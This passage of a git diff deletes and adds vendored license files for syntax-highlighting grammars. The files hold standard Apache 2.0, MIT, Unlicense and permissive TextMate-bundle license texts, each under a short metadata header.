-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2012-2014 Ben Peters
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/Vala-TMBundle.txt b/vendor/licenses/grammar/Vala-TMBundle.txt
deleted file mode 100644
index 264b0f77dc..0000000000
--- a/vendor/licenses/grammar/Vala-TMBundle.txt
+++ /dev/null
@@ -1,24 +0,0 @@
----
-type: grammar
-name: Vala-TMBundle
-license: mit
----
-Copyright (C) 2014 Matt Butcher
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/X10.txt b/vendor/licenses/grammar/X10.txt
deleted file mode 100644
index 021e16a263..0000000000
--- a/vendor/licenses/grammar/X10.txt
+++ /dev/null
@@ -1,209 +0,0 @@
----
-type: grammar
-name: X10
-license: apache-2.0
----
-                                Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright {yyyy} {name of copyright owner}
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-
-(C) Copyright IBM Corporation 2006-2015.
diff --git a/vendor/licenses/grammar/abap-cds-grammar.txt b/vendor/licenses/grammar/abap-cds-grammar.txt
new file mode 100644
index 0000000000..61cd99068b
--- /dev/null
+++ b/vendor/licenses/grammar/abap-cds-grammar.txt
@@ -0,0 +1,30 @@
+---
+type: grammar
+name: abap-cds-grammar
+version: 534201199f4f80da8d34ac1601edc7b9b28b4ca9
+license: unlicense
+---
+This is free and unencumbered software released into the public domain.
+
+Anyone is free to copy, modify, publish, use, compile, sell, or
+distribute this software, either in source code form or as a compiled
+binary, for any purpose, commercial or non-commercial, and by any
+means.
+
+In jurisdictions that recognize copyright laws, the author or authors
+of this software dedicate any and all copyright interest in the
+software to the public domain. We make this dedication for the benefit
+of the public at large and to the detriment of our heirs and
+successors. We intend this dedication to be an overt act of
+relinquishment in perpetuity of all present and future rights to this
+software under copyright law.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.
+
+For more information, please refer to <http://unlicense.org>
\ No newline at end of file
diff --git a/vendor/licenses/grammar/abap.tmbundle.txt b/vendor/licenses/grammar/abap.tmbundle.txt
deleted file mode 100644
index 2af34de486..0000000000
--- a/vendor/licenses/grammar/abap.tmbundle.txt
+++ /dev/null
@@ -1,14 +0,0 @@
----
-type: grammar
-name: abap.tmbundle
-license: permissive
-curated: true
----
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/actionscript3-tmbundle.txt b/vendor/licenses/grammar/actionscript3-tmbundle.txt
deleted file mode 100644
index 00dff522be..0000000000
--- a/vendor/licenses/grammar/actionscript3-tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: actionscript3-tmbundle
-license: mit
-curated: true
----
-
-Copyright 2007-2010 Simon Gregory
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/ada.tmbundle.txt b/vendor/licenses/grammar/ada.tmbundle.txt
deleted file mode 100644
index 9102edc14e..0000000000
--- a/vendor/licenses/grammar/ada.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: ada.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/ampl.txt b/vendor/licenses/grammar/ampl.txt
deleted file mode 100644
index 7ac30bb3a4..0000000000
--- a/vendor/licenses/grammar/ampl.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: ampl
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2013 jackdunnnz
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
-the Software, and to permit persons to whom the Software is furnished to do so,
-subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
-COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
-IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/ant.tmbundle.txt b/vendor/licenses/grammar/ant.tmbundle.txt
deleted file mode 100644
index 1191d7cbb3..0000000000
--- a/vendor/licenses/grammar/ant.tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: ant.tmbundle
-license: mit
-curated: true
----
-
-Copyright 2009-2010 Simon Gregory
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/antlr.tmbundle.txt b/vendor/licenses/grammar/antlr.tmbundle.txt
deleted file mode 100644
index a6134c6636..0000000000
--- a/vendor/licenses/grammar/antlr.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: antlr.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/apache.tmbundle.txt b/vendor/licenses/grammar/apache.tmbundle.txt
deleted file mode 100644
index 691a815117..0000000000
--- a/vendor/licenses/grammar/apache.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: apache.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/api-blueprint-sublime-plugin.txt b/vendor/licenses/grammar/api-blueprint-sublime-plugin.txt
deleted file mode 100644
index bf393b009e..0000000000
--- a/vendor/licenses/grammar/api-blueprint-sublime-plugin.txt
+++ /dev/null
@@ -1,27 +0,0 @@
----
-type: grammar
-name: api-blueprint-sublime-plugin
-license: mit
----
-(The MIT License)
-
-Copyright (c) 2014 Apiary Inc. <support@apiary.io>.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-'Software'), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
-IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
-CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
-TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
-SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/applescript.tmbundle.txt b/vendor/licenses/grammar/applescript.tmbundle.txt
deleted file mode 100644
index 18fe98a9b8..0000000000
--- a/vendor/licenses/grammar/applescript.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: applescript.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/asciidoc.tmbundle.txt b/vendor/licenses/grammar/asciidoc.tmbundle.txt
deleted file mode 100644
index e5866c8e84..0000000000
--- a/vendor/licenses/grammar/asciidoc.tmbundle.txt
+++ /dev/null
@@ -1,27 +0,0 @@
----
-type: grammar
-name: asciidoc.tmbundle
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2008-2015 Christian W. Zuckschwerdt <zany@triq.net>
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-
diff --git a/vendor/licenses/grammar/asp.tmbundle.txt b/vendor/licenses/grammar/asp.tmbundle.txt
deleted file mode 100644
index 45c75edfe1..0000000000
--- a/vendor/licenses/grammar/asp.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: asp.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/assembly.txt b/vendor/licenses/grammar/assembly.txt
deleted file mode 100644
index c351ce726b..0000000000
--- a/vendor/licenses/grammar/assembly.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: assembly
-license: mit
----
-Copyright (c) 2012-2014 Adam Strzelecki
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
